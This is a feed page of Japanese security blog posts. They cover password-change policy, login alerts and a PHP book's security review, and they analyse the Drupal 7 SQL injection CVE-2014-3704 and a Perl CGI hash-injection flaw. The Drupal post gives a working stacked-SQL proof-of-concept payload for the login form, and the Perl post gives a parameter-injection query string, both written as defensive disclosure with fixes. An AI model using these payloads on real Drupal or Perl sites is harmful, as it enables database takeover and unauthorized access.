Quantcast
Channel: 徳丸浩の日記
Viewing all 192 articles
Browse latest View live

気づけばプロ並みPHP 副読本:お助け電子BOOKへの寄稿の顛末

$
0
0
谷藤賢一さんの著書『気づけばプロ並みPHP~ショッピングカート作りにチャレンジ!』に、発売1周年の謝恩キャンペーンとして『副読本:お助け電子BOOK』が公開されました(*1)。私はこの副読本の中で、『第2章 【徳丸 浩氏 スペシャル寄稿】安全なWebアプリケーションのために』を寄稿しています。このエントリでは、寄稿の顛末を報告したいと思います。

動機

私が本書『気づけばプロ並みPHP』を購入したのは昨年の10月29日ですから、本書が出版されてまもなく、今から約1年前です。私は本書を一読して、セキュリティ上の多数の問題があることに気がつきました。
以前は、セキュリティ上の問題が多い本は書評をブログ記事として書くことも多かったのですが、この際は書評という形にするのはためらいがありました。その理由は以下の様なものです。
  • 私のブログの読者層はセキュリティに関心の高い方たちであり、本書の読者とは重ならない
  • 著者に私の意図が伝わるかが疑問
  • 別の著者の方と書評が原因でトラブルになりかけたことがある
私は衝動的に、著者の谷藤さんの経営する株式会社C60(シーロクマル)に押しかけていって、ちょっとこの本は問題ですよと直接伝えようかとも思いました。前述のように別の著者の方とは書評が元でトラブルになりかけましたが、谷藤さんとはそうならないだろうという直感がありました。谷藤さんはプログラミングの初心者にPHPを習得してもらうことを通じて、若者の自立とキャリア形成の支援をされています。言わば、PHPの講習を通じて社会を少しでも変えようという活動をなさっている方なので、きちんとお話すれば、当方の意図はわかってくださるのではないかと思いました。
しかしこの時は、忙しさにかまけて、行動に移すことはありませんでした。

きっかけ

ところが、とある偶然から、ことは動き始めました。PHPカンファレンス関西2014のスピーカーを依頼されて、今年の6月28日に会場の大阪産業創造館を訪問した時のことです。自分の出番を終えて、ロビーでPHP界隈の方々と談笑していると、谷藤さんの方から挨拶に来られたのです。
名刺交換をしながら、私が「いや、実は私のほうから谷藤さんの会社に乗り込もうかと思っていたのですがね」と申し上げたところ、「ぜひ乗り込んできてください」とのお返事。その後頂戴したメールにもその旨記載されていたので、それではということで、谷藤さんとの面会が決まりました。

面会

7月某日、谷藤さんの会社で、リックテレコムの担当編集者を交えて谷藤さんと面会をいたしました。私からは、本書の内容にセキュリティ上の問題が多いこと、開発の現場で多くの開発者が「コピペ」でプログラムを作り、そのため「お手本」に脆弱性があると、その脆弱性ごとコピペされて脆弱なサイトがネットに公開されてしまうこと、などをお伝えしました。
谷藤さんからは、セキュリティが重要であることは承知しているが、自分の扱う受講生のレベルではセキュリティまでは無理であると考えていること、また開発現場のコピペの現状については承知しておらず、驚いているというお話がありました。
ここで、リックテレコムの担当編集者からは、実は本書を「プロ並み」というタイトルにしてしまったこともあり多くの問い合わせを受けていること、このため、フリーの電子書籍の形でFAQの副読本を発行する計画があることを伺いました。そして、徳丸の示した内容も、その副読本に含めさせてもらえないだろうかという提案をいただきました。
私はその提案に同意し、そのために私が調べた内容をメモとして提供することになりました。

副読本

私のメモは元々作成していたものをすぐにお渡ししたのですが、せっかく乗りかかった船なので、もう少し詳しく調べたいと考えました。本書のソースは、断片的な形でしか記載されておらず、実際に打ち込んでみないと全容がわからない状態でした。このため、当方からデジタルデータとしてソースコードの提供を希望し、承諾されました。私はお預かりしたソースを実際に動かしたり、ソースコードを確認するなどの方法でセキュリティ上の問題を調べ、先のメモに追記しました。また、当初脆弱性の疑いを持っていた箇所が、完全なソースを確認すると脆弱性ではないことがわかった箇所もありました。なお、現在は、こちらのページから、ソースコードがダウンロードできるようになっています。
私が提供したものは、あくまで内容のみを記した簡潔なメモでしたので、徳丸の負担を下げたいという担当編集者の配慮から、そのメモを「読み物」の形に仕上げる上では、編集という形で編集者の加筆がかなり入っていることを報告いたしましす。しかし、できあがった文章を私はチェックしておりますので、担当した第2章の文責は徳丸にあります。

概要

私の担当である副読本第2章の概要は下記のとおりです。

2-1 本アップには欠かせない——本書プログラムの脆弱性対策
 ◆P088 スタッフの削除機能にCSRF脆弱性
 ◆P100 商品追加機能に2種の脆弱性
 ◆P113ほか HTMLエスケープ処理の漏れ
 ◆P233 自動返信メールにメールヘッダインジェクション脆弱性
 コラム(1)「サニタイジング」という用語について

2-2 中級以上を目指す方へ——プログラム品質を高める改善案
 ◆P061・P113・P232 HTMLエスケープを行う場所について
 ◆P061 htmlspecialcharsの引数
 ◆P061他 データベース接続に例外処理の設定を
 ◆P065 データベース接続の文字エンコーディング指定方法
 ◆P100 正規表現による全体一致チェック
 ◆ 商品を購入したらカートは空になっているべき
 ◆ 商品画像のファイル名にルールがほしい
 ◆P268 注文データ漏えいの恐れあり
 ◆ 許可されていない文字がDBに登録されてしまう
 コラム(2) MD5によるパスワードの暗号化

まとめ、感想

一月ほど前に、はせがわようすけさんの以下のツイートに対して、
以下のように返答していますが、上記を想定した発言でした。

今回は、ひょんなきっかけから、「著者とのコミュニケーション」が実現されたことになります。私からは多くの指摘をさせていただきましたが、内容についての質問はあったものの、私の指摘はすべて掲載されています。谷藤さんと担当編集者の懐の深い対応に感謝申し上げます。

とは言え、課題は山積みです。私は開発入門者が最初に目にする機会の多いPHP入門書に注目してウォッチングを続けていて、以前から少し改善は見られる(参照)ものの、望ましい水準にはまだまだというところです。しかし、様々な形で著者の方々にセキュリティの重要性が伝わることで、改善が図られていくものと期待をしています。

*1 こちらのサイトにダウンロード方法が書かれています。個人情報として氏名とメールアドレスの入力が必要です。

パスワードの定期的変更はパスワードリスト攻撃対策として有効か

$
0
0
パスワードリスト攻撃の対策として、パスワードの定期的変更に意味があるのかという議論があります。私は(利用者側施策としては)実質意味がないと思っていますが、まったく意味がないというわけでもありません。
このエントリでは、パスワードの定期的変更がパスワードリスト攻撃に対してどの程度有効かを検討してみます。

前提条件

パスワードリスト攻撃を以下のように定義します。
別のサイトから漏洩したアカウント情報(ログインIDとパスワードの組み合わせ)の一覧表(パスワードリスト)があり、そのログインIDとパスワードの組をそのまま、攻撃対象に対してログイン試行する攻撃
パスワードの定期的変更の一例として以下の条件を前提とします
  • 利用者は、すべてのサイトのパスワードを90日毎に変更する
  • 利用者はすべてのサイトで同じログインIDを用いている
  • 変更後のパスワードはすべてのサイトで同じとする
    ※ サイト毎にパスワードを別にすれば、それ以降はパスワードをまったく変更しなくてもパスワードリスト攻撃はできなくなるためこの条件を設定

攻撃条件(1)

攻撃者はサイトAから窃取したアカウント情報を直ちにサイトBに対して試行する場合

この場合、サィトAに登録されたIDとパスワードはサイトBでも有効なので、パスワードリスト攻撃が成功する。すなわち、パスワードの定期的変更に効果はない。

攻撃条件(2)

攻撃者はサイトAから窃取したアカウント情報を用いてサイトBを攻撃するが、アカウント情報は古いものであるとする。

※ アカウント情報が古いシナリオとしては、サイトAのパスワードがハッシュ値で保存してあったために解読に時間がかかった、あるいは攻撃者がパスワードリストを購入したが、最新ではなく古いものであった、などの可能性があります。

この場合、パスワードが漏洩してから攻撃があるまでの間に、パスワードが変更されていれば、パスワードリスト攻撃は成立しません。パスワードが変更される前であれば、攻撃は成立します。

評価

パスワードの定期的変更を実施していると、仮に全サイトで同じパスワードを設定していても、パスワードリストが古いものである場合、攻撃のタイミングによってはパスワードリスト攻撃を防ぐことが出来ることができます。パスワードリストの売買の報道例についてはこちらを参照ください。
それにも関わらず私が「実質意味がない」と思う理由は、どうせパスワードを変更するのであれば、そのタイミングで、サイト毎に異なるパスワードを設定すればいいじゃないかと思うからです。いったんサイト毎に異なるパスワードを設定しておけば、その後はパスワードを変更しなくても、パスワードリスト攻撃に関しては完全に防御することができます。

一方、パスワードの定期的変更では、「運が良ければ防げるが、防げない可能性も高い」という性質のものなので、利用者側の立場としてのパスワードリスト攻撃対策は以下の一点でよいと考えます。
  • サイト毎に異なるパスワードを設定する
他の攻撃に関しては、別の対策も併用する必要があります。
また、パスワードの定期的変更の、リスト型攻撃以外に対する効用については、以下のエントリを参照ください。

追記(2014/10/16 15:30)

@machuさんからコメントをいただきました。
『管理者側は違うパスワードは強制できないけど、定期変更は強制できる』という指摘は鋭い着眼ですね。そういえば、総務省の公表した『リスト型アカウントハッキングによる不正ログインへの対応方策について』では、「利用者にパスワードの定期的変更を求める」という表現ではなく、「パスワードの有効期間設定」となっていました。総務省の資料は、「サイト管理者などインターネットサービス提供事業者向け対策集」ということなので、このような表現になっているのだと思います。これに対する評価は以下の通りです。

  • パスワードの定期的変更は強制できる
  • 結果としてパスワードリスト攻撃への効果は限定的(ないわけではない)

ですが、パスワードの管理は本来は利用者側の責任であるわけで、そこにサイト運営者が介入する方向性としては、できるだけ利用者の負担増が少なく、かつ効果の高いものであるべきだと考えます。この点、「パスワードの有効期間設定」は、利用者の負担が大きく、かつ効果が限定的であるという点で、よくない施策であると考えます。













DrupalのSQLインジェクションCVE-2014-3704について調べてみた

$
0
0
既に日本でも報道されているように、著名なCMSであるDrupalのバージョン7系にはSQLインジェクション脆弱性があります(CVE-2014-3704)。この脆弱性について調査した内容を報告します。

ログイン時のSQL文を調べてみる

MySQLのクエリログを有効にして、Drupaのログイン時に呼び出されるSQL文を調べてみます。リクエストメッセージは以下となります(一部のヘッダを省略)。
POST /?q=node&destination=node HTTP/1.1
Host: xxxxxxx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0
Cookie: has_js=1; Drupal.toolbar.collapsed=0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 122

name=admin&pass=xxxxxxxx&form_build_id=form-xQZ7X78LULvs6SyB9MvufbZh5KXjQYRHS05Jl2uD9Kc&form_id=user_login_block&op=Log+in
ログイン時には複数のSQL文が呼び出されますが、以下のSQL文に注目します。
SELECT * FROM users WHERE name = 'admin' AND status = 1
次に、name=adminの部分を以下のように変更してみます。
name[]=user1&name[]=user2
生成されるSQL文は以下の通りです。
SELECT * FROM users WHERE name = 'user1', 'user2' AND status = 1
あれ、配列として渡したuserが、SQL文では、'user1', 'user2'とカンマ区切りで列挙されています。これはSQL文法違反となっていますが、DrupalのSQL文ジェネレータの機能で、配列のパラメータを自動的にSQLのプレースホルダに展開する機能があるのです。以下、こちらの記事のサンプルをお借りして説明します。

以下のようなdrupal APIの呼び出しを題材に用います。
<?php
db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('user1','user2')));
?>
上記IN句に対して、プレースホルダは :name 一つだけ、バインドする値は2個あります。この場合、SQL文は以下のように自動的に改変されます。
SELECT * from users where name IN (:name_0, :name_1)
なんて便利なんでしょう! SQLインジェクション対策としてプレースホルダを使えと呼びかける際に決まって問題となる IN句の展開をやってくれていますね。つまり、バインド値を配列にする呼び出し方は主に IN句を想定したものであり、最初に見たname[]を複数指定する呼び出し方は、想定外といってよく、その結果として生成されるSQL文が文法違反となりました。
文法違反というだけでかなり嫌な予感がしますが、この予感は不幸にも的中します。

連想配列のキーを指定したらどうなるか

ここで元のログイン時のSQL文に戻り、今度はname配列にキー文字列をつけて呼び出してみましょう。以下のname[]配列を用います。
name[id1]=user1&name[id2]=user2
生成されるSQL文は以下の通りです。
SELECT * FROM {users} WHERE name = :name_id1, :name_id2 AND status = 1
一見筋の通った処理に思えますが、キーに空白があったらどうなるでしょうか?
name[1 xxxxx]=user1&name[2]=user2
生成されるSQL文は下記となります。
SELECT * FROM {users} WHERE name = :name_1 xxxxx, :name_2 AND status = 1
あれあれ、プレースホルダがちぎれて、:name1と xxxxx に分かれてしまいました。これはもちろん文法違反ですが、実は呼び出す前にエラーになります。
この際のバインド値は以下の通りです。
array(2) {
  [":name_1 xxxxx"] => "user1"
  [":name_2"] =>  "user2"
}
SQL文中には :name_1 というプレースホルダがありますが、バインド値の配列には :name_1がありません。このため、PDOの動的プレースホルダが値をバインドできず、呼び出す前にエラーになるわけです。
それでは、エラーにならない方法はあるでしょうか? あります。:name_2 はあるわけですから、最初のプレースホルダ側でも :name_2 を使ってしまえばよいのです。
今度は、以下のname[]値で呼び出してみます。user1は使われないので削除しました。
name[2 xxxxx]=&name[2]=user2
生成されるSQL文
SELECT * FROM {users} WHERE name = :name_2 xxxxx, :name_2 AND status = 1
SQL文の中で使われているプレースホルダは :name_2 のみとなりました。この際のバインド値は以下の通りです。
array(2) {
  [":name_2 xxxxx"] => ""
  [":name_2"]=> "user2"
}
キー :name_2 はあるので、SQL文は呼び出されるはずです。ログを見ると、以下のSQL文がみつかります。
SELECT * FROM users WHERE name = 'user2' xxxxx, 'user2' AND status = 1
呼び出されていますね。ただし、xxxxxの部分でSQL文法違反となっているので、MySQL側でエラーになり、実行はされません。このxxxxxを文法違反にならないように辻褄をあわせてやると、SQLインジェクション攻撃ができます。

SQLインジェクションを試す

いよいよSQLインジェクションです…が、まだ発表されたばかりの脆弱性ですので、実害のあるものは避けて、10秒待つだけのSQLを実行してみましょう。ということで、SELECT sleep(10) というSQL文を実行してみましょう。POSTパラメータは以下となります。
name[2 ;SELECT sleep(10) -- ]=&name[2]=user2
Burp SuiteのRepeater機能で実行した例を下図に示します。


図の右下に 10,079millisとあることから、10,079ミリ秒、すなわち約10秒待っていることがわかります。この際に呼び出されているSQL文は下記の通りです。
SELECT * FROM users WHERE name = 'user2';SELECT sleep(10) -- , 'user2' AND status = 1
実験に使用した環境はMySQLを使っていますが、SQLの複文が実行できていることになります。これは、DrupalがPDOを使っているためで、詳しくは以下のエントリを参照ください。

ソース上の脆弱性箇所

この脆弱性の発生原因は、ソース上では以下のexpandArgumentsメソッドにあります。
// includes/database/database.inc
protected function expandArguments(&$query, &$args) {
$modified = FALSE;
// $argsの要素から配列のみ処理対象として foreach
foreach (array_filter($args, 'is_array') as $key => $data) {
$new_keys = array();
// $dataは配列であるはずなので、foreach 可能。 $i(キー)に注目
foreach ($data as $i => $value) {
$new_keys[$key . '_' . $i] = $value;
}
// $queryを改変 $new_keysのキーをarray_kesyでSQL文に混ぜていることが問題
$query = preg_replace('#' . $key . '\b#', implode(', ', array_keys($new_keys)), $query);
unset($args[$key]);
$args += $new_keys;

$modified = TRUE;
}
return $modified;
}
元のコメントはすべて削除して、簡単な説明をコメントとして追加しました。
先のPoCから呼び出される場合、$args['name'] に配列値が入っている場合、配列のキーが変数 $i 経由でなんのチェックもなくSQL文に流し込まれることが問題です。
この脆弱性が対策されたDrupal7.32では、内側のforeachは以下のように修正されています。
foreach (array_values($data) as $i => $value) {
$dataにarray_values関数を通すことで、キーを取り除くことにより対策しています。
これで一応脆弱性は対処されていると思いますが、最初の方で指摘したようにクエリ文字列nameを配列とした場合に、文法違反のSQL文が生成される問題は直っていません。
Drupalは必要最小限のバリデーションのみをしているように見えますが、クエリ文字列が(配列ではなくスカラの)文字列であることのチェックくらいはした方がよいと思います。これはアプリケーション要件として必要なチェックだと考えます。

この脆弱性による影響

SQLインジェクションによる一般的な影響はすべて可能性がありますが、とくにデータベースの改変による攻撃経路が重要であると考えます。詳細は伏せますが、管理者権限をうばったり、管理者権限のあるユーザを登録できることを実験で確認しています。
DrupalはCMSですので、管理者権限が得られた後は、ファイルをアップロードするなどして任意のPHPスクリプト実行なども可能になると考えます。既にさまざまな攻撃が実際に来ているようですので、早急の対策をおすすめします。

影響を受けるバージョンと対策

Drupal 7.xのみが影響を受けます。Drupal 7.32にて対策されているので、該当バージョンを利用の場合、早急のアップグレードを推奨します。
すぐにアップグレードできない場合は、WAFによる攻撃緩和も有効と考えられます。Drupal対応のシグネチャがなくても、既存のシグネチャによる防御が期待できます。ただし、シングルクォートを使わなくても攻撃は可能なので、WAFの性能次第というところはあります。

まとめ

Drupal 7.xのSQLインジェクション脆弱性について説明しました。このSQLインジェクション脆弱性は、SQL文を動的生成する際に、プレースホルダ中に誤って配列パラメータ中のキー値をなんのチェックもせずに混入させてしまったことによるものです。
配列パラメータのキーによる攻撃は結構あるパターンでして、以下のエントリでも説明しています。
O/RマッパーやSQLジェネレータを開発する場合は、パラメータが配列である場合や、配列のキーが指定された場合についもテストをしておくとよいでしょう。

New Class of Vulnerability in Perl Web Applicationsの紹介

$
0
0
Redditを眺めておりましたら以下の記事が目に止まりました。
New Class of Vulnerability in Perl Web Applications
ざっくりというと以下の様な内容です
  • CGI.pmのparamメソッドの返り値をハッシュに突っ込んでいる箇所がある
  • クエリ文字列に同名のパラメータを複数セットすると、配列値が返る
  • 配列をハッシュに突っ込むことにより、別のキーの値が変更される
私はこの内容に興味を持ちましたので、以下に詳しく説明します。

PoC

元エントリにもPoCが出ておりますが、少し手をいれたものを以下に示します。
#!/usr/bin/perl
use strict;
use CGI;

my $cgi = new CGI;

my $loginname = 'smith';
my $password = 'a3k!sz9';

my %user = ('login' => $loginname,
'realname' => $cgi->param('realname'),
'password' => $password);
print <<END;
Content-Type: text/plain; charset=utf-8

login = $user{'login'}
realname = $user{'realname'}
password = $user{'password'}
END
ご覧のように、キーとしてlogin、realname、passwordを取るハッシュを作成しています。loginとpasswordは定数(セッション変数などから取得する想定)、realnameはクエリ文字列realnameから取得します。

このCGIプログラムをクエリ文字列 realname=John+Smith で呼び出すと結果は下記となります。
login = smith
realname = John Smith
password = a3k!sz9
次に、以下のクエリ文字列で呼び出します。
realname=hoge&realname=login&realname=yamada
結果は以下となります。
login = yamada
realname = hoge
password = a3k!sz9
なんと、定数で指定しているはずのloginがyamadaに化けています。なぜでしょうか?

CGI.pmは同名パラメータ指定により配列を受け取ることができる

CGI.pmのparamメソッドは、以下のようにすると、配列の形でパラメータを受け取ることができます。
my @foo = $cgi->param('foo');
例えば、以下のクエリ文字列を指定した場合、
foo=1&foo=2&foo=3
@fooは 1, 2, 3を値にもつ配列となります。

ハッシュ生成時に配列を混ぜることでハッシュの別キーをインジェクションできる

PoCの%user の部分は以下のように呼び出されることになります。
my %user = ('login' => 'smith',
        'realname' => ('hoge', 'login', 'yamada'),
        'password' => 'a3!sz9');
Perlの場合、=>とカンマ(,)はほぼ同じ意味だそうで、上記は以下のように展開されます。私はPerlの細かい文法には自信が無いため、以下の部分の説明に誤りがあればご指摘ください。
my %user = ('login', 'smith',
        'realname', 'hoge', 'login', 'yamada',
        'password', 'a3!sz9');
整形すると、以下と同等です。
my %user = ('login' => 'smith',
            'realname' => 'hoge',
            'login' => 'yamada',
        'password' => 'a3!sz9');
右辺は配列定義ですが、'login' => が2箇所あります。したがって、配列をハッシュに変換する際に、キーloginに対する値は、'yamada'に上書きされます。すなわち、以下と同等です。
my %user = ('realname' => 'hoge', 
            'login' => 'yamada',
        'password' => 'a3!sz9');
以上の手順により、$user{'login'}が本来smithであるところ、外部からの入力により、yamadaに変更させられました。

このようなケースはありえるのか?

上記のPoCのようなことが現実にあり得るかというと、ちょっと微妙な気はするものの、ないこともないかなという印象です。
たとえば、Web APIなどで、入力はurlencodedだけど出力はJSONであって、そのJSONを作る際にいきなりハッシュ定義に入力値を放り込んでいるケースなどです。
元記事のコメント欄には、ふつーバリデーションするだろというツッコミに対して、著者は、realnameは任意の文字を受け取るのでバリデーションは必要ないと答えています。しかし、制御文字などは弾く必要があるため、アプリケーション要件としても、最低限度のバリデーションは必要と考えます。

対策

この問題を避ける簡便な方法として、元エントリではrealnameの値をスカラーに変換する方法が紹介されています。
my %user = ('login' => $loginname,
'realname' => scalar $cgi->param('realname'),
'password' => $password);
あるいは、値をいったんスカラー変数で受けるという方法があります。これにより、realnameがスカラであることが保証されます。
my $realname = $cgi->param('realname');
my %user = ('login' => $loginname,
'realname' => $realname,
'password' => $password);

まとめ

前回のエントリでも説明したように、スカラ値を想定している入力が、実は配列やハッシュになっている可能性を想定して、スカラであることのチェック、あるいはスカラに変換する等の処理が必要な場合があります。
入力値のバリデーションをすれば脆弱性が顕在化することはありませんが、脆弱性が混入するその箇所で対策することを考えると、ハッシュに突っ込む箇所で、当該変数がスカラーであることが一目瞭然になっているのがよいでしょう。
そういう意味で、バリデーションによる対策をとらず、脆弱性の発生箇所での対策を主張されている元エントリの著者Gerv(Gervase Markham)さんとは、一緒に旨い酒が飲めそうだと感じましたw

ログインアラートはパスワード定期的変更の代替となるか

$
0
0
パスワードの定期的的変更には実質的にはあまり意味がないのではないかという議論(疑問)から出発した議論を続けておりますが、こちらなどで表明しているように、パスワードの定期的変更が効果をもつ場合もあります。
そこで、本稿ではパスワードの定期的変更の代替手段としてログインアラートの運用に着目し、ログインアラートの運用がパスワードの定期的変更の代替となるのか、残る課題は何かについて検討します。

パスワード定期的変更の効果まとめ

まず前提条件について説明します。ウェブサイトAの利用者xが自身のパスワード voc3at を定期的変更として変更する(voc3atはあくまで例です)場合、これが効果を発揮する条件と効果は、以下と考えられます。条件1と条件2はAND条件です。
  • 条件1: パスワード voc3at が既に漏洩していて、今後悪用される可能性がある
  • 条件2: パスワード漏洩に利用者 x は気づいておらず(あるいは気づいたにも関わらず)、パスワードを(非定期には)変更していない
  • 効果: パスワードの定期的変更後、サイトAにおける パスワード voc3at の悪用はできなくなる
条件1のパスワード voc3at が漏洩する経路については制約はありませんが、以下の様なケースが考えられます。
  • サイトAからパスワード漏洩が起こった
  • 利用者 x がパスワード voc3at を別のサイトBでも利用していて、サイトBから漏洩した
  • 利用者 x 自身がパスワード voc3at を別人に教えてしまった
  • 利用者 x がフィッシング詐欺にあってしまい、パスワード voc3at が漏洩した
条件2に関して、利用者が気づく局面の例としては以下があります。利用者が気づかない状況とは、以下のいずれにも該当しないケースです。
  • LINEのアカウント乗っ取りのように、利用者 x 自身は利用できなくなったり、友人が教えてくれる
  • 不正送金被害にあい、銀行口座から預金がなくなってしまった
  • なりすまし投稿により自身のアカウントが炎上してしまった
  • サイトAがパスワード漏洩事件を公表し、パスワード変更を呼びかけた
  • ログイン履歴を見ていて気づいた

ログインアラートとは

ログインアラート(ログイン通知とも)とは、誰か(利用者自身も含むが第三者かもしれない)がサイトにログインした際に、その旨を登録済みメールアドレスに通知する機能です。多くのサイトではログインに成功した場合に通知しますが、LINEウェブストアに関しては、ログインに失敗しても通知します。
以下は、楽天のログインアラートのメール例です。
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
【楽●天】ログインアラート通知(2014/10/20 09:53)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

xxxxxxxx 様

お客様が楽天のサービスにログインしましたので、お知らせいたします。
このメールはログインアラート設定を行っているお客様に
送信させて頂いております。

◆ログイン情報
・ログイン日時 :2014/10/20 09:53
・IPアドレス   :xxx.xxx.xxx.xxx

◆ログイン履歴
https://history.id.rakuten.co.jp/
よりログイン履歴がご確認いただけます。

◆心当たりのないログインの場合
お客様以外の第三者がお客様に成りすましてログインしている可能性があります。
その場合、次のURLより会員情報管理画面にてパスワードを
変更されることをおすすめします。
https://member.id.rakuten.co.jp/rms/nid/menufwd
利用者は、ログインしていないのにこのメールを受け取った場合、別人が自分のアカウントでログインしていることを疑い、IPアドレスを確認した上で必要に応じてパスワードを変更することになります。

※注: 楽天のログインアラートメールには、このパスワード変更のURLが記載されていますが、このURLにアクセスすると楽天のログイン画面になるわけで、ログインアラートがフィッシングに悪用される懸念を考えると、メールの文面は悩ましいところではあります。

ログインアラートの効果

パスワードの定期的変更とログインアラートは、どちらもパスワードが漏洩してからの事後の緩和策と位置づけることができますが、効果については微妙に異なります。
ログインアラートの利点は以下の通りです。
  • 不正ログインの事実を確認できる
  • 不正ログインの際の日時やIPアドレス等から犯人追跡の情報が得られる
  • 不正ログインから速やかな対処が可能
  • 不必要なパスワード変更をする必要がないので利用者側の負担が少ない
  • 実装上のコストは比較的低い

一方、ログインアラートではカバーできない状況として下記があります。

  1. パスワード漏洩後、なんらかの理由で数ヶ月後に犯人が初めてログインした
  2. サイトBから漏洩したパスワードリストを犯人が購入し、漏洩から数ヶ月後にサイトAで試した。利用者はサイトAとサイトBで同じパスワードを設定していた
  3. 利用者のリテラシーが低く、ログインアラートに適切に対処できない

1.に関しては、パスワードを得て「数ヶ月放っておく」動機があるのが問題になります。
2.に関しては、あり得るシナリオではありますが、サイトAに重要情報がるのであれば、やはりパスワードの使い回しを避けるほうが安全で、その方が総合的には手間も掛からないと考えます。
3.に関しては、ログインアラートに適切に対処できない人が自発的にパスワードの定期的変更をするとは考えにくいので、パスワードの有効期限を定めて強制的に変更させないと実効性がないでしょう。ただし、私自身はパスワードの有効期限のあるサイトは、できれば使いたくないと感じます。

ログインアラートはパスワード定期的変更の代替になるか

ログインアラートについて紹介し、パスワードの定期的変更運用の代替になるか(ログインアラートを適切に運用すれば、パスワードの定期的変更をしなくてすむか)について検討しました。
前述のように、ログインアラートは完全にパスワードの定期的変更の代替にはならないものの、残るリスクは比較的軽微であり、実用上はログインアラートがあれば、パスワードの定期的変更はしなくてもよいケースが多いのではないかと考えます。
もちろん、利用者側で心配であれば、ログインアラートに加えてパスワードの定期的変更もすればよいと思います。しかし、そこまで心配するのであれば、二段階認証など、さらに強固な認証手段を提供しているサイトを選択する方が良いと考えます。二段階認証を設定していれば、パスワードの定期的変更は必要ないでしょう。
今回私が二段階認証ではなくログインアラートに着目した理由は、前述したように実装コストが低く、利用者・サイト提供者共に負担が軽いからです。このため、不正ログイン事件が多発している現状において、最低限度のセキュリティ施策として、ログインアラートの実装の検討をおすすめします。

自宅の鍵を定期的に取り替える佐藤君(仮名)の話

$
0
0
パスワードの定期的変更について元々違和感を持っています。今まで、理詰めでその違和感を解明しようとしてきましたが、それでも私の頭のなかのもやもやをうまく説明できたわけではありません。そこで、パスワードの定期的変更を「自宅の鍵を定期的に変更する比喩」を用いて、そのもやもやを説明したと思います。比喩によって精密な議論ができるとは思っておりませんので、あくまでも主観的な「もやもや」を説明する方便として読んでいただければ幸いです。ここに登場する佐藤は架空の人物です。

徳丸: 佐藤君は自宅の鍵を定期的に取り替えていると聞いたんだけど、本当?

佐藤: 本当ですよ。毎年に替えています。毎年年末に鍵を取り替えて、安心な気持ちで新年を迎えるんです。徳丸さんは替えてないんですか?

徳丸: 替えないよ。鍵を落としたりしたらまた別だけど、そういうのでもなければ替えないよね。佐藤君はなぜ毎年替えるの?

佐藤: だって心配じゃないですか。

徳丸: 何が?

佐藤: 僕の知らないうちに合鍵が作られているかもしれないじゃないですか?

徳丸: 証拠でもあるの?

佐藤: 証拠はありません。でも、たとえば彼女が部屋に来るのに僕が留守だなんて場合に、郵便受けに鍵を入れておいたりするんで、誰かがこっそり鍵をとって合鍵を作っているかもしれません。

徳丸: そんな運用しなければいい。

佐藤: たとえば、ですよ。リスクをゼロにはできません。

徳丸: で、誰かが合鍵で部屋に入った兆候でもあるの?

佐藤: 今のところありません。

徳丸: だったら、そういう兆候が見つかったら替えたら?

佐藤: 徳丸さん、そんな意識でいいんですか? 万一の場合にも備えないとダメです。

徳丸: そうはいうけど、一年に1回変えるのでは、最悪ケースだと約一年間は合鍵で部屋に入られるわけでしょ。

佐藤: それはそうですが、永遠に入られ続けるよりましです。

徳丸: 悪い奴は、部屋に侵入されたら即座に部屋のものを盗んでいくんじゃないの?

佐藤: それは分かりません。僕の大事な情報だけ盗んでいくかもしれません。

徳丸: でも、何回も盗みに来るかね? 鍵を変えた後には、もう盗むべき情報はないのでは?

佐藤: 毎日仕事をして、生活をしていれば、その間に秘密情報も増え続けるんですよ。

徳丸: それは犯人にとって価値のある情報かな?

佐藤: それは分かりませんが、ひょっとしたら価値があるかもしれないじゃないですか。

徳丸: まぁ、そうだね。じゃあ、兆候が見つけられないんだったら、誰かが部屋に入ったらセンサーが作動するようにしたら?

佐藤: そうか、センサーがあれば、別人が部屋に入ったらわかりますね。

徳丸: そうそう、そうしなよ。

佐藤: 分かりました。そうします。


佐藤は自宅に侵入検知のセンサーを取り付けて運用を開始した。それから2年が経った。

徳丸: やぁ、佐藤君、久し振りだね。その後どう?

佐藤: いやぁ、相変わらずですね。

徳丸: センサーの調子はどう? 誰か入ってきた?

佐藤: センサーはちゃんと動いているようです。別人が侵入した兆候はないですね。

徳丸: なら、鍵を取り替える必要もなくなったね。

佐藤: いや、念のため、昨年末に鍵を替えました。

徳丸: え゛っ、なぜ?

佐藤: だって、心配じゃないですか?

徳丸: センサーまでつけたのに?

佐藤: 徳丸さん、考えてみたんですよ。誰も侵入していないとしても、合鍵を作られていない証拠にはなりません。

徳丸: どうして?

佐藤: 犯人は合鍵を作ったけれども、すぐに使わずに侵入するタイミングを伺っているかもしれないじゃないですか。

徳丸: それはそうだけど、そんな悠長なことするかね?

佐藤: それは分かりません。私は悪い奴の気持ちはわからないですが、そうしないという証拠はありません。

徳丸: うーん、合鍵を作られたけどすぐには悪用しないというケースを想定するのであれば、鍵の取り替えで対応するには、一年に1回とかでは不十分だと思うよ。

佐藤: やはり、毎日鍵を替えないとだめでしょうか?

徳丸: そんなの現実的ではないよね。

佐藤: あー、心配だ。どうすればいいんだ。

徳丸: 合鍵が心配だったら、ICカードキーとか生体認証を併用して二要素にしたらいいのでは?

佐藤: 二要素にしたら費用が掛かるし、毎日の鍵の開け閉めが面倒くさいじゃないですか。

徳丸: いやいや、佐藤くんがそこまで心配するなら、そうすべきだと僕は思うけどね。

佐藤: …(徳丸と佐藤の会話はまだまだ続く)


「侵入検知センサー」はパスワードの場合はログインアラートに相当します(参照)。
心配症の佐藤君の考え方が、そのままパスワードの定期的変更に当てはまると主張しているわけでありません。そこは精密な議論が必要ですが、私の主観的なもやもやの中身の一部は、上記の対話の比喩で説明できるのではないかというお話です。

『例えば、PHPを避ける』以降PHPはどれだけ安全になったか

$
0
0
この記事はPHPアドベントカレンダー2014の22日目の記事です 。

2002年3月に公開されたIPAの人気コンテンツ「セキュアプログラミング講座」が2007年6月に大幅に更新されました。そして、その一節がPHPerたちを激しく刺激することになります。
(1) プログラミング言語の選択
1) 例えば、PHPを避ける
短時日で素早くサイトを立ち上げることのみに着目するのであれば、PHPは悪い処理系ではない。しかし、これまで多くの脆弱性を生んできた経緯があり、改善が進んでいるとはいえまだ十分堅固とは言えない。
セキュアプログラミング講座(アーカイブ)より引用
